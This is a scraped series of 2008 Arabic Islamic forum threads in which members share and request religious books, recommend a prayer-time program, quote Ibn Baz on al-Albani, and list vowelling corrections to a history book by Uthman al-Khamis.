وراجع هذا الرابط علك تجد شئ فيه فائدة
http://www.3lsooot.com/vb/showthread.php?t=640(61/143)
رمضانيات المساهم (11): الإمام أبو القاسم الشاطبي وقصيدته حرز الأماني (لأول مرة) Pdf
ـ[المساهم]ــــــــ[11 - 09 - 08, 01:15 ص]ـ
الكتاب الحادي عشر
الإمام أبو القاسم الشاطبي
ودراسة عن قصيدته حرز الأماني في القراءات
تأليف
عبد الهادي عبد الله حميتو
التحميل
archive (http://www.archive.org/details/shatbi) أو adrive (http://www.adrive.com/public/520cd2a949c1f33207296471e2461d93caeb43e7fa513995a9 26d31ac0d17a65.html)
بطاقة الكتاب
العنوان: الإمام أبو القاسم الشاطبي ودراسة عن قصيدته حرز الأماني في القراءات.
المؤلف: عبد الهادي عبد الله حميتو.
دار النشر: أضواء السلف.
سنة الطبع: الطبعة الأولى (1425هـ / 2005م).
نوع التغليف: مجلد (262 صفحة)
ـ[أبو مازن العوضي]ــــــــ[11 - 09 - 08, 01:39 ص]ـ
شكر الله سعيك
ـ[طه محمد عبدالرحمن]ــــــــ[11 - 09 - 08, 01:54 ص]ـ
رااااااااااااااااااااااااااااااائع جدا أخى بارك الله فيك.
ـ[خالد البعلبكي]ــــــــ[11 - 09 - 08, 02:14 ص]ـ
جزاك الله خيرا
ـ[رفيق يوسف]ــــــــ[11 - 09 - 08, 05:36 ص]ـ
ربنا يجزيك بكل حرف فيما تسهم به قبولا و عفوا وخيرا وصحة وعافية و قضاء لحوائجك
قولو آمين
ونستسمحك أخانا المساهم في طلبين:
الأول: أن تحاول رفع كتب معاني القرآن الكريم والتي تخلو منها المنتديات كمعاني الفراء و الأخفش
والثاني: أن تعد لنا - فضلا لا تكليفا - دورة تنقل لنا فيها خبرتك في تنسيق الكتب و فهرستها
وفقكم الله و أعانكم وسدد خطاكم
ـ[منير الجزائري]ــــــــ[11 - 09 - 08, 10:49 ص]ـ
بارك الله فيك
ـ[أحمد أبو تسنيم]ــــــــ[11 - 09 - 08, 11:46 ص]ـ
أحسن الله إليك وغفر لوالديك
ـ[شتا العربي]ــــــــ[11 - 09 - 08, 02:10 م]ـ
جزاكم الله خيرا وبارك فيكم وجعلكم الله من عتقائه من النار(61/144)
نريد كتبا فى الدعاء و الحمد و الثناء على الله عز و جل
ـ[طه محمد عبدالرحمن]ــــــــ[11 - 09 - 08, 05:04 ص]ـ
عاجل إن امكن بارك الله فيكم و نفع بكم
ـ[ابو وجدان]ــــــــ[11 - 09 - 08, 05:49 ص]ـ
نرجو من الاخوة من لدية كتب فى الدعاء و الحمد و الثناء على الله ومناجاة العلي القهار ان يضع روابطها هنا
وانا ايضا سمعت ان هناك موسوعة خاصة لكتب الادعة ولكن للاسف لم اعثر على رابطها حتى الان
لذلك نرجو المساعدة من الوجوة الخيرة
والسلام عليكم ورحمة الله
ـ[أبو زارع المدني]ــــــــ[11 - 09 - 08, 07:09 م]ـ
كتاب لن تجده مثله جمع كل ذلك وهو كتاب:
تسبيح ومناجاة وثناء على ملك الأرض والسماء
للشيخ محمد موسى الشريف
ـ[ابو وجدان]ــــــــ[13 - 09 - 08, 01:10 ص]ـ
عاجل إن امكن بارك الله فيكم و نفع بكم
نرجو من الاخوة بذل الجهود في تلبية طلب اخونا
طه محمد عبدالرحمن
ـ[أبو زارع المدني]ــــــــ[03 - 05 - 09, 04:06 م]ـ
كتاب لن تجده مثله جمع كل ذلك وهو كتاب:
تسبيح ومناجاة وثناء على ملك الأرض والسماء
للشيخ محمد موسى الشريف
تفضل: هديتي [لأول مرة على الشبكة كتاب: تسبيح ومناجاة وثناء على ملك الأرضِ والسماء .. للشيخ محمد موسى الشريف] ( http://www.ahlalhdeeth.com/vb/showthread.php?t=159622&highlight=%E3%E6%D3%EC+%C7%E1%D4%D1%ED%DD)(61/145)
من يدلني على هذه الكتب لمحمد بن نصر؟
ـ[أبو عبد الله بن أبي بكر]ــــــــ[11 - 09 - 08, 11:08 ص]ـ
السلام عليكم ورحمة الله وبركاته
أنا أبحث عن الكتب التالية
قيام الليل
الصيام
الوتر
للإمام محمد بن نصر المروزي
بأي طبعة كانت ولوكانت مخطوطات
وجزى الله خيرا من يساعدني في الحصول عليها
ـ[عبدالملك بن عبدالله]ــــــــ[12 - 09 - 08, 12:03 ص]ـ
34 - قيام رمضان
محمد بن نصر المروزي أبو عبد الله
اختصره: أحمد بن علي المقريزي
خرجه وحقق أحاديثه: محمد أحمد عاشور - جمال عبد المنعم الكومي
الدار الذهبية
183 صفحة
3 ميجا
http://majles.alukah.net/showpost.php?p=138557&postcount=57
35 - مختصر قيام الليل وقيام رمضان وكتاب الوتر
محمد بن نصر المروزي
اختصرها: أحمد بن علي المقريزي
دار حاديث أكاديمي - باكستان
الطبعة الأولى
1408 - 1988
348 صفحة
6 ميجا
http://majles.alukah.net/showpost.php?p=138563&postcount=58
ـ[أبو عبد الله بن أبي بكر]ــــــــ[12 - 09 - 08, 12:52 ص]ـ
جزاك الله خيرا أيها الحبيب الفاضل
و أسأل الله العظيم رب العرش الكريم أن يرحم والديك
ويرزقك برهما ورضاهما
وأن يعطيك الجنة
آمين
ـ[كاتب]ــــــــ[12 - 09 - 08, 09:50 ص]ـ
صلاة الوتر لمحمد بن نصر المروزي
ـ[أبو عبد الله بن أبي بكر]ــــــــ[12 - 09 - 08, 03:45 م]ـ
جزاك الله خيرا أيها الفاضل الغالي
وكتب الأجر لك(61/146)
من أقوال ابن باز في الألباني.
ـ[يونس1]ــــــــ[11 - 09 - 08, 03:27 م]ـ
من أقوال ابن باز في الألباني
قال الشيخ ابن باز (محاضرته من اخلاق العلماء)
السؤال: ما رأي سماحتكم في الشيخ الألباني من ناحية تصحيحه وتضعيفه للأحاديث، وفقهه لها؟ الجواب: ناصر الدين الألباني من خواص إخواننا المعروفين، قد عرفتُه قديماً، وهو من خيرة العلماء، ومن أصحاب العقيدة الطيبة، وممن فرَّغ وقته في الحديث الشريف، وخدمة السنة، فهو جدير بالاحترام والعناية الشرعية، وهو جدير بأن يُنتفع بكتبه ويُستفاد منها، وأنا ممن يستفيد منها، وقد طالعتُ كثيراً من كتبه، فهي كتب مفيدة، وهو أخٌ صالح، وصاحب سنة، وهو ليس معصوماً، مثل غيره من العلماء، قد يصحِّح بعض الأحاديث ويخطئ، وقد يضعِّف ويخطئ؛ لكن في الجملة يغلب على عمله في التصحيح والتضعيف هو الطيب والاستقامة، وهو ولله الحمد من أهل السنة والجماعة، رزقنا الله وإياه الاستقامة وحسن الخاتمة، وكثّر من المسلمين ممن يشاكله في العلم والعمل، والدعوة إلى الخير، والله المستعان
ـ[العفالقي]ــــــــ[11 - 09 - 08, 03:42 م]ـ
كلام يكتب بمداد الذهب رحمك الله شيخي.
ـ[محمد بن عبد الجليل الإدريسي]ــــــــ[11 - 09 - 08, 04:27 م]ـ
رحم الله الإمامين الكبيرين أبي عبد الرحمن ناصر الدين الألباني و عبد العزيز بن باز.(61/147)
* ((من أدق البرامج توقيتا في جهازك الحاسوبي - برنامج الأذان - من موقع الباحث الإسلامي)) *
ـ[أبو أيوب السليمان]ــــــــ[11 - 09 - 08, 04:16 م]ـ
برامج الأذان في الأجهزة الحاسوبية كثيرة على الشبكة لكن من أدقها ضبطا
برنامج الأذان
من الباحث الإسلامي
http://www.islamicfinder.org/athan/screenshots/main2.gif
للبرنامج نسختان:
الأولى: نسخة متقدمة ( Athan Pro 3.4 /$29.90)
الثانية: نسخة مجانية ( Athan Basic 3.4 )
خصائص البرنامج:
* إطلاق الأذان بشكل أتوماتيكي في كل وقت من أوقات الصلاة.
* أوقات الصلاة لأكثر من 6 ملايين مدينة في العالم.
* واجهة البرنامج بالعربية والانجليزية والفرنسية والروسية والأسبانية
* التقويم الميلادي والهجري.
* الأذان من المسجد الحرام, المسجد النبوي, و المسجد الأقصى
* الأذان من مساجد مصر، لبنان, البوسنة والهرسك, باكستان, والأذان بصوت الداعية يوسف إسلام (في المتقدمة فقط)
* الدعاء المسنون بعد الأذان.
* يحتوي البرنامج على طرق حساب أوقات الصلاة المعتمدة في العالم الإسلامي وإمكانية اختيار أي منها.
* اشتماله على خاصية الخيارات المتقدمة.
* يحتوي على خاصية التنبيه قبل أو بعد الأذان من خلال تلاوة مختارة للقرآن الكريم، مع إمكانية إضافة صوتيات أخرى. (في المتقدمة فقط)
* إمكانية إضافة صوت الأذان لمزيد من المؤذنين لأي وقت من أوقات الصلاة. (في المتقدمة فقط)
* عرض صور متحركة لمساجد مختلفة من خلال البرنامج. (في المتقدمة فقط)
* تحديد اتجاه القبلة بشكل رسومي. (في المتقدمة فقط)
* إرسال صوت الأذان للمستخدمين في الشبكة المحلية. (في المتقدمة فقط)
* تحويل التاريخ من الميلادي إلى الهجري والعكس. (في المتقدمة فقط)
ضبط مدينتك داخل البرنامج:
* البرنامج يحتوي على أكثر من 6 ملايين مدينة في العالم مخزنة في الداخل، فما عليك إلا البحث عن مدينتك
* إن وجدت اختلافا في التوقيت تستطيع إضافة دقائق إو إزالة دقائق من خلال (خيارات - تعديل دقائق)
* لتتمكن من ضبط وقت الصلاة أكثر قم بإدخال خطوط الطول والعرض لمدينك من جديد من خلال البحث عنها بهذا الرابط:
http://www.islamicfinder.org/world.php?lang=arabic
ثم الذهاب إلى (خيارات - إعدادات)
إذ أن خطوط الطول والعرض المدخلة في البرنامج فيها شيء من الأخطاء.
* بالنسبة لصلاة العشاء تؤخر في رمضان 30 دقيقة عن الوقت الأصلي من خلال (خيارات - تعديل دقائق)
تحميل البرنامج:
http://www.islamicfinder.org/athanDownload.php?lang=arabic
ـ[أبو أيوب السليمان]ــــــــ[12 - 09 - 08, 03:48 ص]ـ
للفائدة
ـ[أبو الحسن الأثري]ــــــــ[12 - 09 - 08, 04:02 ص]ـ
هذا برنامج إلا صلاتي أيضا برنامج مميز
http://www.ela-salaty.com/
ـ[أبو أنس مصطفى البيضاوي]ــــــــ[20 - 09 - 08, 02:04 م]ـ
جزاكم الله خيرا على هذا البرنامج الجميل(61/148)
كتاب في منزل الوحي
ـ[مصعب الجهني]ــــــــ[11 - 09 - 08, 07:06 م]ـ
جزاكم الله خير وبارك لكم في هذا الشهر الكريم من يجدد لنا رابط
كتاب في منزل الوحي
تأليف: محمد حسين هيكل
طبعة: دار المعارف
علماً أنه موجود هنا لكن لم أستطع تحميله
http://www.alsaa7r.com/vb/showthread.php?t=4422
ـ[أبو زارع المدني]ــــــــ[11 - 09 - 08, 07:15 م]ـ
بارك الله فيك أخي مصعب ونفعك ونفع بك
كان الشيخ محمد موسى الشريف يثني على هذا الكتاب في احدى دروسه
ـ[مصعب الجهني]ــــــــ[17 - 09 - 08, 05:17 م]ـ
أخي الكريم أبو زراع المدني كما قال الشيخ المهندس موسى الشريف حفظه الله فالكتاب مهم
وتأتي أهميته من ناحيتين, الأولى: ما ورد فيه من تراجم لأعلام, بعضهم مغمورين لا تجدهم عند غيره.
الأمر الثاني: أن الكتاب يعد من كتب الرحلات, فهو كتاب جغرافيا وتاريخ وتراجم وغيرها
وقد وضع سابقاً في هذا الملتقى الطيب هنا, فرجاء من قام بتحميله يجدد لنا رابطٍ اخر
http://www.ahlalhdeeth.com/vb/showpost.php?p=588599&postcount=82(61/149)
أخوكم بحاجة لكتاب عالم الملائكة للشيخ الأشقر
ـ[محمد العياشي]ــــــــ[11 - 09 - 08, 07:12 م]ـ
السلام عليكم و رحمة الله,
أخوكم بحاجة لكتاب عالم الملائكة للشيخ الأشقر, فأتحفونا برابط يعمل بارك الله فيكم.
و السلام
ـ[علي 56]ــــــــ[11 - 09 - 08, 08:45 م]ـ
هذا هو الكتاب أخي الحبيب pdf
ـ[محمد العياشي]ــــــــ[12 - 09 - 08, 01:45 ص]ـ
رفع الله قدرك و أسكنك فسيح جناته, آمين.(61/150)
حملوا كتابي ((الخلاصة في أحكام الاجتهاد والتقليد)) للشاملة 3 + pdf
ـ[علي 56]ــــــــ[11 - 09 - 08, 09:02 م]ـ
((حقوق الطبع متاحة للهيئات العلمية والخيرية))
بسم الله الرحمن الرحيم
الحمد لله رب العالمين، والصلاة والسلام على سيد المرسلين، وعلى آله وصحبه أجمعين، ومن تبعهم بإحسان إلى يوم الدين.
اللهم {لاَ عِلْمَ لَنَا إِلاَّ مَا عَلَّمْتَنَا إِنَّكَ أَنتَ الْعَلِيمُ الْحَكِيمُ} (32) سورة البقرة
الله علمنا ما يفعنا، وانفعنا بما علمتنا، وزدنا علما يا أرحم الراحمين.
أما بعد:
فإنه من المعلوم أن الله جل وعلا قد بعث رسوله صلى الله عليه وسلم بدين الإسلام، وجعله تعالى خاتم الرسل، وجعل ملته ناسخة لجميع الملل، وكتابه مهيمنا على كافة الكتب قال تعالى: {وَأَنزَلْنَا إِلَيْكَ الْكِتَابَ بِالْحَقِّ مُصَدِّقًا لِّمَا بَيْنَ يَدَيْهِ مِنَ الْكِتَابِ وَمُهَيْمِنًا عَلَيْهِ فَاحْكُم بَيْنَهُم بِمَا أَنزَلَ اللّهُ وَلاَ تَتَّبِعْ أَهْوَاءهُمْ عَمَّا جَاءكَ مِنَ الْحَقِّ لِكُلٍّ جَعَلْنَا مِنكُمْ شِرْعَةً وَمِنْهَاجًا وَلَوْ شَاء اللّهُ لَجَعَلَكُمْ أُمَّةً وَاحِدَةً وَلَكِن لِّيَبْلُوَكُمْ فِي مَآ آتَاكُم فَاسْتَبِقُوا الخَيْرَاتِ إِلَى الله مَرْجِعُكُمْ جَمِيعًا فَيُنَبِّئُكُم بِمَا كُنتُمْ فِيهِ تَخْتَلِفُونَ} (48) سورة المائدة.
وكان من تمام النعمة على العباد، أن أكمل الله ـ جل وعلا ـ لهم هذا الدين، وكفاهم به عن غيره، فانتظمت بذلك مصالحهم واستقامت أمورهم على وجه التمام والكمال. كما قال تعالى: {الْيَوْمَ أَكْمَلْتُ لَكُمْ دِينَكُمْ وَأَتْمَمْتُ عَلَيْكُمْ نِعْمَتِي وَرَضِيتُ لَكُمُ الإِسْلاَمَ دِينًا} (3) سورة المائدة.
ومن المعلوم أيضا ـ بالضرورة ـ أن مقتضى كمال الدين وتمام النعمة صلاحيته لكل زمان ومكان، على اختلاف الأعصار وتنائي الأمصار. وذلك لأن كمال الملة إنما كان لتحقق وصفين اثنين: الأول: كونها تفي بمقاصد التشريع العامة. والثاني: كونها صالحة لكل زمان ومكان. إذا عُلم هذا فَليعْلم أن حاجات الخلق تختلف وتتغير بحسب ظروف المكان والأوان، وتحصل للناس أقضية بحسبهم، ووقائعهم تتلوَّن بحسب واقعهم، فمن المعلوم بداهة أن هذه الوقائع لا تتناهى والنصوص الشرعية ليست كذلك، فاقتضى ذلك تشريع الاجتهاد في هذه الملة المباركة لتفي بحاجات الخلق ومصالحهم المتجددة المتغيرة. وهذا الذي قررناه المعلوم بالضرورة من دين المسلمين، وباتفاق جميع المسلمين.
ولكن المسلمين اليوم قد تفرقوا طَرائِقَ قِدَداً حول موضوع الاجتهاد والتقليد:
فمنهم من زعم أن باب الاجتهاد مفتوح لكل مسلم، ويستطيع أي واحد منهم ولوجه، ولا فرق بيننا وبين الأئمة السابقين (فهم رجال ونحن رجال!!)، ولاسيما أنه قد توفر لدينا اليوم أكثر مما توفر لجميع الأئمة، ووصلت بهم الجرأة على دين الله تعالى وعلى الأئمة حدًّا بعيداً.
وبعضهم يوجب الاجتهاد، ويحرِّم التقليد على عامة الناس، وذلك لأن الله تعالى قد ذمَّ التقليد، وأن الأئمة قد نهوا عنه، ومن ثمَّ فإنه يصبُّ جام غضبه على المقلِّدين، فيتهمهم بالابتداع في الدِّين، ومخالفة السلف الصالح!!.
وفريق آخر قابلوا هؤلاء فأوجبوا التقليد على عامة الناس، وحرَّموا على المقلِّد الخروج عن مذهب إمامه الذي التزمه، وكأنه خارج من الدِّين!!.
وغلا بعضهم فحرَّم الصلاة وراء المخالف للمذهب!!
ورددوا المقولة المشهورة (لا تعترض فتنطرد).
وحصل تراشق للتُّهم بين الفريقين، حتى وصل بهم الحال إلى اتهام بعضهم بعضا بأسوأ التهم التي ما أنزل الله تعالى بها من سلطان، كالفسوق والمروق من الدِّين ....
وفريق آخر من أهل العلم قد تكلموا عن هذه الموضوعات، ما بين مفصل، وموجز ..
وهذه الكتابات بالرغم مما قدمته من خير كثير، يبصِّرُ الناس بحقيقة دينهم.
إلا أن كثيرا منها كانت صدى لهذا الواقع المر والأليم، الذي تواجهه الأمة اليوم.
فهذا متأثر بالحضارة الغربية العفنة، وذاك متأثر بالجماعة الفلانية، وآخر ضيق الأفق، يتبرم بمخالفيه في الرأي، ويتهمهم بسوء النية.
وآخر يكتب كتابة تقليدية بحتة، ليس فيها إلا الاختصار والإيجاز.
(يُتْبَع .. اقلب الصفحة)
(61/151)
والقلة القليلة منهم استطاعوا أن يبحروا إلى أعماق هذا الموضوع الجلل، ويستخرجوا لنا كثيرا من الكنوز، التي نحن بأمس الحاجة إليها.
ولن أتكلم عن شطحات كثير من طلاب العلم في كتاباتهم عن الاجتهاد والتقليد، لأن هذا أمر يطول، وليس في ذكره كبير فائدة، ولا يخلو منه إنسان.
هذا وقد كتبت عددا من المباحث حول هذا الموضوع من قبل.
وهذا الكتاب الذي بين يدينا يشتمل على بابين رئيسين وخاتمة:
البابُ الأولُ -الخلاصة في أحكام الاجتهاد
تمهيد اشتمل على ثلاثة مباحث
الفصل الأول -أحكام الاجتهاد وصفاته وشروطه
الفصل الثاني -حول الإصابة والخطأ في أقوال المجتهدين
الفصل الثالث -الخلاصة في أحكام الفتوى
الفصل الرابع -مسائل منوعة حول الاجتهاد
الباب الثاني -الخلاصة في أحكام التقليد
الفصل الأول -أحكام التقليد
الفصل الثاني- أحكام تتبع الرخص
الفصل الثالث -الخلاصة في أحكام التلفيق
الفصل الرابع -قضايا تتعلق بالتقليد
وأخيرا خاتمة فيها خلاصة هذه الدراسة.
وأما طريقتنا في العمل فهي كما يلي:
• نقل الأدلة من مصادرها، فآيات القرآن كلها مشكلة، ولكنها ليست بالرسم العثماني.
• تخريج الأحاديث من مصادرها الرئيسة، والحكم على الحديث بما يناسبه جرحا وتعديلا إذا لم يكن في الصحيحين، وفق منهج المعتدلين في الجرح والتعديل.
• النقل من المصادر الأساسية مباشرة، والإكثار من النقول من أجل توضيح الغامض، أو تقرير حقيقة ....
• تغيير النصوص في المصادر المنقول منها، سواء أكانت نصوص قرآنية، أو أحاديث نبوية، أو أقوال منسوبة لأشخاص، وذلك بالرجوع لمصادرها الأساسية، بسبب كثرة الأخطاء في النصوص الشرعية أو المنقولة عن العلماء، وبذلك تحاشينا الكلام عن الأخطاء المطبعية أو النصية.
• نقل ما ورد بالموسوعة الفقهية حول هذه المسائل، مع تدقيق المصادر ولاسيما الأحاديث النبوية والحكم عليها، فقد كانت الموسوعة الفقهية في هذا الجانب قاصرة سواء في نقل النص أو الحكم عليه.
• حاولت تحرير كثير من مواطن النزاع، ولاسيما الشائكة منها.
• رددت كثيراً من الأخطاء والأوهام.
• حاولت ضبط كثير من المسائل المختلف فيها.
• ذكرت مصادر ما أنقله عن غيري بالهامش.
• أسهبت في بعض المواضع، لأهميتها، أو بسبب غموضها والخطأ في فهمها.
«اللَّهُمَّ رَبَّ جِبْرَائِيلَ وَمِيكَائِيلَ وَإِسْرَافِيلَ فَاطِرَ السَّمَوَاتِ وَالأَرْضِ عَالِمَ الْغَيْبِ وَالشَّهَادَةِ أَنْتَ تَحْكُمُ بَيْنَ عِبَادِكَ فِيمَا كَانُوا فِيهِ يَخْتَلِفُونَ اهْدِنِى لِمَا اخْتُلِفَ فِيهِ مِنَ الْحَقِّ بِإِذْنِكَ إِنَّكَ تَهْدِى مَنْ تَشَاءُ إِلَى صِرَاطٍ مُسْتَقِيمٍ».رواه مسلم
فإن أصبت فمن الله تعالى وحده، وله الفضل والمنة، قال تعالى: {وَمَا بِكُم مِّن نِّعْمَةٍ فَمِنَ اللّهِ} (53) سورة النحل.
وإن أخطأت، فمن تقصيري، واستغفر الله {رَبَّنَا لاَ تُؤَاخِذْنَا إِن نَّسِينَا أَوْ أَخْطَأْنَا رَبَّنَا وَلاَ تَحْمِلْ عَلَيْنَا إِصْرًا كَمَا حَمَلْتَهُ عَلَى الَّذِينَ مِن قَبْلِنَا رَبَّنَا وَلاَ تُحَمِّلْنَا مَا لاَ طَاقَةَ لَنَا بِهِ وَاعْفُ عَنَّا وَاغْفِرْ لَنَا وَارْحَمْنَآ أَنتَ مَوْلاَنَا فَانصُرْنَا عَلَى الْقَوْمِ الْكَافِرِينَ} (286) سورة البقرة.
وكتبه
الباحث في القرآن والسُّنَّة
علي بن نايف الشحود
في السابع من جمادى الآخرة لعام 1429 هـ الموافق ل 11/ 6/2008م
ـ[أبو عبد الله السني]ــــــــ[12 - 09 - 08, 03:30 ص]ـ
شيخنا الحبيب:
جزاك الله خيراً.
شيخنا: مشكوراً لا مأموراً، هلا رفعت كل ملف برابط مستقل، فأنا مثلاً أريد تحميل الوورد فقط، لأستورده إلى الشاملة بنفسي كل صفحة وورد بصفحة شاملة، وبهذا يتم التوافق تماماً مع الفهرس الذي عملته أنت للكتاب.
وغيري يريد تحميل كتاب الشاملة فقط، ولا يعطي للتوافق مع الفهرس أهمية، ويفضل قلة الحجم.
وثالث يريد الـ PDF
ومن أراد الثلاثة فيحملها كل من رابطه.
نرجو النظر في هذا الطلب، فالنت عندي سريع كالسلحفاة
أو أقل بقليل (ابتسامة عريضة)
ـ[القرشي]ــــــــ[12 - 09 - 08, 03:46 ص]ـ
جزاكم الله خيراً
ـ[منير الجزائري]ــــــــ[12 - 09 - 08, 03:50 ص]ـ
بارك الله فيكم وفي جهودكم، نفع الله بكم.
ـ[علي 56]ــــــــ[12 - 09 - 08, 06:36 ص]ـ
وهذا هو أيها الأحباب الكرام
ملف الورد
ملف الشاملة 3
ملف ال pdf
كل واحد على حدة مفصولاً
أهلا وسهلا بكم
ـ[إسماعيل سعد]ــــــــ[13 - 09 - 08, 01:55 ص]ـ
جزاكم الله خيرا
ـ[عصام فرج محمد مدين]ــــــــ[13 - 09 - 08, 04:33 ص]ـ
جزاكم الله خيرا
ـ[علي 56]ــــــــ[13 - 09 - 08, 06:08 ص]ـ
وأنتم جزاكم الله خيرا(61/152)
الشاملة 3.9
ـ[خليل إبراهيم]ــــــــ[11 - 09 - 08, 09:02 م]ـ
هناك تحديث جديد للشاملة بموقعها لا أدري إن أعلن عنه بالمواضيع الرئيسية هنا أم لا
على العموم هذا الرابط لمن لم يعلم به
http://www.shamela.ws/updates.php
وجزى الله أخانا نافع خير الجزاء
ـ[إسماعيل سعد]ــــــــ[12 - 09 - 08, 01:35 ص]ـ
جزاكم الله خيرا، وفي الحقيقة الشغل فيها أصبح يوميا؛ كل يوم إصدار!
وهذا مفرح ومزعج في الوقت ذاته فهل نتعب في التحميل كل يوم أم ننتظر حتى تستقر؟(61/153)
كتاب: حقبة من التاريخ وورد+شاملة .. هدية لأبي سلمى المغربي والإخوة ..
ـ[حمود بن يحيى]ــــــــ[12 - 09 - 08, 12:48 ص]ـ
السلام عليكم ورحمة الله وبركاته .. <? xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p>
هذا كتاب حقبة من التاريخ للشيخ عثمان الخميس، وفقني الله في كتابته على الوورد، وتشكيله تشكيلًا تامًّا، وتصويب ما كان في المطبوع من أخطاء في التشكيل، وهذه الطبعة –للأسف- مليئة بالأخطاء في التشكيل، وقلما تجد صفحة لا تخلو من عدة أخطاء في التشكيل .. كما أن بها سقطًا في موضعين .. وهذه بعض الأخطاء التي صوبتها –لم أذكرها كلها، لأن أخطاء التشكيل بالمئات!! -:< o:p></o:p>
<o:p></o:p>
ص 33< o:p></o:p>
سقيفة بن ساعدة.< o:p></o:p>
صوابه: سقيفة بني ساعدة.< o:p></o:p>
<o:p></o:p>
ص 43< o:p></o:p>
يوجد سقط:< o:p></o:p>
وَجَاهَدُوا فِي سَبِيلِ اللهِ بِأَمْوَالِهِمْ وَأَنْفُسِهِمْ، وَنَصَرُوا اللهَ وَرَسُولَهُ ^ [لِلْفُقَرَاءِ الْمُهَاجِرِينَ الَّذِينَ أُخْرِجُوا مِنْ دِيَارِهِمْ وَأَمْوَالِهِمْ يَبْتَغُونَ فَضْلًا مِنَ اللهِ وَرِضْوَانًا وَيَنْصُرُونَ اللهَ وَرَسُولَهُ أُولَئِكَ هُمُ الصَّادِقُونَ] {الحشر: 8}.< o:p></o:p>
وَجَاهَدُوا فِي سَبِيلِ اللهِ بِأَمْوَالِهِمْ وَأَنْفُسِهِمْ، وَنَصَرُوا اللهَ وَرَسُولَهُ ^، قَالَ تَعَالَى: .. < o:p></o:p>
<o:p></o:p>
ص 55< o:p></o:p>
فَكُلُّ ذَلِكَ أَبَاطِيلٌ لَا تَثْبُتُ.< o:p></o:p>
صوابه: أَبَاطِيلُ< o:p></o:p>
<o:p></o:p>
ص 61< o:p></o:p>
إِنَّ مِنْ أَمَنِّ النَّاسِ عَلَيَّ فِي صُحْبَتِهِ وَمَالِهِ أَبُو بَكْرٍ< o:p></o:p>
صوابه: أَبَا بَكرٍ< o:p></o:p>
<o:p></o:p>
ص 62< o:p></o:p>
نائمًا سكراناً< o:p></o:p>
صوابه: سكرانَ< o:p></o:p>
<o:p></o:p>
ص76< o:p></o:p>
فَاحْتَمَلُوهُ فَوْقَ الْجحف (وهي التّروس) < o:p></o:p>
صوابه: الْحَجَف< o:p></o:p>
<o:p></o:p>
ص 77< o:p></o:p>
أتعلمون أنه كان لله أَنْبِيَاءٌ قبل محمد؟ < o:p></o:p>
صوابه: أنبياءُ< o:p></o:p>
<o:p></o:p>
ص 80< o:p></o:p>
كان ... وعددُ جيش النصارى عشرين ومئة ألفًا< o:p></o:p>
صوابه: ألفٍ .. < o:p></o:p>
<o:p></o:p>
اسم المتنبئة سَجاحُ إما أنه مشكل خطأ هكذا: سجاحُ، أو متروك من غير تشكيل< o:p></o:p>
وصوابه: سَجَاحِ مثل حَذَامِ وَلَكَاعِ وَقَطَامِ< o:p></o:p>
<o:p></o:p>
سَعِيدُ بْنُ زَيْدِ بْنْ عَمْرِو بْنِ نُفَيْلٍ مِنْهُمْ وَلَسْتُ مُدْخِلُهُ،< o:p></o:p>
صوابه: مُدْخِلَهُ< o:p></o:p>
<o:p></o:p>
ص 181< o:p></o:p>
عَزِيرٌ عَلَيَّ أَنْ أَرَاكَ مُجَدَّلًا تَحْتَ نُجُومِ السَّمَاءِ أَبَا مُحمّدٍ.< o:p></o:p>
صوابه: عَزِيزٌ< o:p></o:p>
<o:p></o:p>
ص 201< o:p></o:p>
الطَّائِفَةُ الْأُولَى: طَلْحَةُ وَالزُّبَيْرُ وَعَائِشَةُ وَمُعَاوِيَةُ، تَرَىَ هَذِهِ الطَّائِفَةُ أَنَّهُ يَجِبُ التَّعْجِيلُ بِقَتْلِ عُثْمَانَ.< o:p></o:p>
صوابه: بِقَتْلِ قَتَلَةِ عُثْمَانَ.< o:p></o:p>
<o:p></o:p>
فإِنَّ جارًا لَنَا مِنْ بَلْهُجين< o:p></o:p>
صوابه: بَلْهُجَيْمِ .. قال حمود: هو اسم قبيلة .. < o:p></o:p>
<o:p></o:p>
ص 255< o:p></o:p>
وعبيد الله وشَمَر كانا من شيعته علي:< o:p></o:p>
صوابه: من شيعة علي:< o:p></o:p>
<o:p></o:p>
ص 261< o:p></o:p>
فَالْهَاشِمِيَّاتُ كُنَّ عَزِيزَاتٍ مُكَرَّمَاتٍ فِي ذَلِكَ الزَّمَنِ، فَالْكَلَامُ.< o:p></o:p>
يوجد هنا سقط لابد منه حتى يتم المعنى –مأخوذ من الطبعة الثانية لدار الإيمان للطبع والنشر والتوزيع:< o:p></o:p>
فَالْكَلَامُ الذي يقال عن يزيد أنه سبى نساء أهل بيت رسول الله^ باطل مكذوب.< o:p></o:p>
<o:p></o:p>
ص 263< o:p></o:p>
حاشية 3: باب ما ينهى عن سبب الأموات< o:p></o:p>
صوابه: باب ما ينهى عن سب الأموات< o:p></o:p>
<o:p></o:p>
<o:p></o:p>
اسم: «حُجْرُ بْنُ عَدِيٍّ» دائمًا يرد في الكتاب بكسر الحاء، والصواب ضمها.< o:p></o:p>
<o:p></o:p>
<o:p></o:p>
ص 332< o:p></o:p>
وَعَلى فَرْضِ أَنَّ بَعْضَ مَا ذُكِرَ أَو غَيرَه مِمَّا لَمْ يُذْكَرْ هِي مَعَاصي وَقَعت مِن بَعْضِ أَصحَابِ النَّبيِّ ^< o:p></o:p>
صوابه: معاصٍ< o:p></o:p>
<o:p></o:p>
ص 334< o:p></o:p>
(يُتْبَع .. اقلب الصفحة)
(61/154)
وَوَ اللهِ لَمَا آلِيه من الجِهَادِ وَإِقَامةِ الحُدُودِ والأَمْرِ بِالمَعْرُوفِ وَ النَّهي عَنِ المُنْكَرِ أَفْضَلُ من عَمَلِكَ< o:p></o:p>
صوابه: أَلِيه< o:p></o:p>
<o:p></o:p>
ص 345< o:p></o:p>
وَغَدِيرُ خُم فِي الجُحْفَةِ، وَهِي تَبْعُدُ عن مَكَّةَ تَقْرِيبًا مِئَتينِ وَخَمْسِينَ خريطة غدير خمسه كِيلُو مِتْرًا،< o:p></o:p>
صوابه كما في الطبعة الثانية لدار الإيمان للطبع والنشر والتوزيع ص 194< o:p></o:p>
وَغَدِيرُ خُم فِي الجُحْفَةِ، وَهِي تَبْعُدُ عن مَكَّةَ تَقْرِيبًا مِئَتينِ وَخَمْسِينَ كِيلُو مِتْرًا،< o:p></o:p>
<o:p></o:p><o:p></o:p>
ص 376 حاشية 2< o:p></o:p>
رواه أبي داود: كتاب السنة، باب لزوم السنة، حديث (4607) < o:p></o:p>
صوابه: أبو< o:p></o:p>
<o:p></o:p>
<o:p></o:p>
